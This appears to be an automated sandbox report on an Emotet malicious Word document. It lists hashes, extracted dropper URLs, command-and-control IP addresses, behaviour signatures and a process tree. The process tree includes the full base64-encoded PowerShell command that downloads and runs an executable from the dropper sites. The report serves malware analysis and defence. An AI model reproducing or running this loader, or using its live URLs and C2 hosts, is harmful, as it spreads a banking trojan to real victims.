Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    111s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    17/08/2020, 10:16

Sharing

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General

  • Target
    emotet_e2_4c92dd4427eeab992c68a28f70dd48f4976aed5fb0212c9c84151d09fb3dec15_2020-08-17__101444._doc.doc
  • Size 234KB
  • Sample200817-blpb61k4c2
  • SHA256 4c92dd4427eeab992c68a28f70dd48f4976aed5fb0212c9c84151d09fb3dec15
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://quasi-monkey.com/6u1alr/jmu_etfp_04jtkjifle/
  • exe.dropper

    https://www.queenyconnection.com/-08-16-2020_new/3syo2_x_w/
  • exe.dropper

    http://xsdhly.com/a/ofq_4p_uxpjw862i/
  • exe.dropper

    http://jkssoftsolutions.com/parkift/c_d_oxim1b19/
  • exe.dropper

    http://niam.grapple-staging.co.uk/wp-content/uploads/s_s8p5_vs3fb/

Extracted

Family

  • emotet

C2

  • 75.139.38.211:80

  • 69.30.203.214:8080

  • 67.205.85.243:8080

  • 190.160.53.126:80

  • 183.101.175.193:80

  • 137.59.187.107:8080

  • 168.235.67.138:7080

  • 209.143.35.232:80

  • 180.92.239.110:8080

  • 167.86.90.214:8080

  • 85.66.181.138:80

  • 95.213.236.64:8080

  • 83.169.36.251:8080

  • 157.245.99.39:8080

  • 79.98.24.39:8080

  • 70.167.215.250:8080

  • 93.51.50.171:8080

  • 174.102.48.180:80

  • 24.179.13.119:80

  • 41.60.200.34:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4c92dd4427eeab992c68a28f70dd48f4976aed5fb0212c9c84151d09fb3dec15_2020-08-17__101444._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1516
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABTAHUAagA2AG8AawA3AD0AJwBLAGYAMQBkAGwANwB6ACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGMAdQByAEkAdABZAHAAYABSAG8AVABgAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAHgAZQBtAGcAdwBiACAAPQAgACcASgBoAHIAeAAnADsAJABFAGsAYwA2ADkAaABxAD0AJwBIADIAdwB3AGoAeAAxACcAOwAkAFkANgA1AGIAOQBsAGIAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABIAHgAZQBtAGcAdwBiACsAJwAuAGUAeABlACcAOwAkAE0ANgA5AHgAXwB5AHcAPQAnAFAAOQA1AG8AMAAzAGMAJwA7ACQAQwBfAF8ANQAzAGEAbQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBFAHQALgBXAGUAQgBDAEwAaQBlAE4AVAA7ACQARQAwAG4AMQBiAHAAYwA9ACcAaAB0AHQAcAA6AC8ALwBxAHUAYQBzAGkALQBtAG8AbgBrAGUAeQAuAGMAbwBtAC8ANgB1ADEAYQBsAHIALwBqAG0AdQBfAGUAdABmAHAAXwAwADQAagB0AGsAagBpAGYAbABlAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBxAHUAZQBlAG4AeQBjAG8AbgBuAGUAYwB0AGkAbwBuAC4AYwBvAG0ALwAtADAAOAAtADEANgAtADIAMAAyADAAXwBuAGUAdwAvADMAcwB5AG8AMgBfAHgAXwB3AC8AKgBoAHQAdABwADoALwAvAHgAcwBkAGgAbAB5AC4AYwBvAG0ALwBhAC8AbwBmAHEAXwA0AHAAXwB1AHgAcABqAHcAOAA2ADIAaQAvACoAaAB0AHQAcAA6AC8ALwBqAGsAcwBzAG8AZgB0AHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwBwAGEAcgBrAGkAZgB0AC8AYwBfAGQAXwBvAHgAaQBtADEAYgAxADkALwAqAGgAdAB0AHAAOgAvAC8AbgBpAGEAbQAuAGcAcgBhAHAAcABsAGUALQBzAHQAYQBnAGkAbgBnAC4AYwBvAC4AdQBrAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBzAF8AcwA4AHAANQBfAHYAcwAzAGYAYgAvACcALgAiAFMAUABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBmAHEAbwBzAHAAOQA9ACcAVgByADcAegB1AGQANgAnADsAZgBvAHIAZQBhAGMAaAAoACQARgBsAGsAcABnADMAMQAgAGkAbgAgACQARQAwAG4AMQBiAHAAYwApAHsAdAByAHkAewAkAEMAXwBfADUAMwBhAG0ALgAiAEQAYABvAFcAbgBMAE8AQQBkAGAARgBpAGAATABlACIAKAAkAEYAbABrAHAAZwAzADEALAAgACQAWQA2ADUAYgA5AGwAYgApADsAJABEAGMANgBwADEAawA5AD0AJwBSAGoAagBhAG8AYgBxACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAWQA2ADUAYgA5AGwAYgApAC4AIgBMAEUAYABOAEcAVABIACIAIAAtAGcAZQAgADMAMAA1ADcAOQApACAAewAuACgAJwBJACcAKwAnAG4AdgBvAGsAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABZADYANQBiADkAbABiACkAOwAkAEIAOABlAGcAbABlAGQAPQAnAFQANABzADMAOQBqAHMAJwA7AGIAcgBlAGEAawA7ACQARABqADcAOAB4ADQAcQA9ACcAWAAxAGkAZwA4ADQANAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGEAcgBoADEAdAA1AD0AJwBVAHMAXwByAHAAMwAyACcA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Users\Admin\AppData\Local\Temp\Jhrx.exe
      "C:\Users\Admin\AppData\Local\Temp\Jhrx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\SysWOW64\webio\svchost.exe
        "C:\Windows\SysWOW64\webio\svchost.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2040

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1260-20-0x000007FEEF8B0000-0x000007FEEFB2A000-memory.dmp
        Download

        memory/1516-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
        Download

        memory/1516-3-0x00000000070F0000-0x00000000072F0000-memory.dmp
        Download

        memory/1516-4-0x000000000B010000-0x000000000B014000-memory.dmp
        Download

        memory/1516-5-0x000000000C090000-0x000000000C094000-memory.dmp
        Download

        memory/1516-0-0x00000000004A2000-0x00000000004A6000-memory.dmp
        Download

        memory/1824-16-0x00000000001F0000-0x00000000001FC000-memory.dmp
        Download

        memory/1884-6-0x000007FEEA290000-0x000007FEEAC7C000-memory.dmp
        Download

        memory/1884-12-0x000000001C510000-0x000000001C511000-memory.dmp
        Download

        memory/1884-11-0x000000001B680000-0x000000001B681000-memory.dmp
        Download

        memory/1884-10-0x000000001A920000-0x000000001A921000-memory.dmp
        Download

        memory/1884-9-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1884-8-0x000000001A9C0000-0x000000001A9C1000-memory.dmp
        Download

        memory/1884-7-0x000000001A8E0000-0x000000001A8E1000-memory.dmp
        Download

        memory/2040-19-0x0000000000260000-0x000000000026C000-memory.dmp
        Download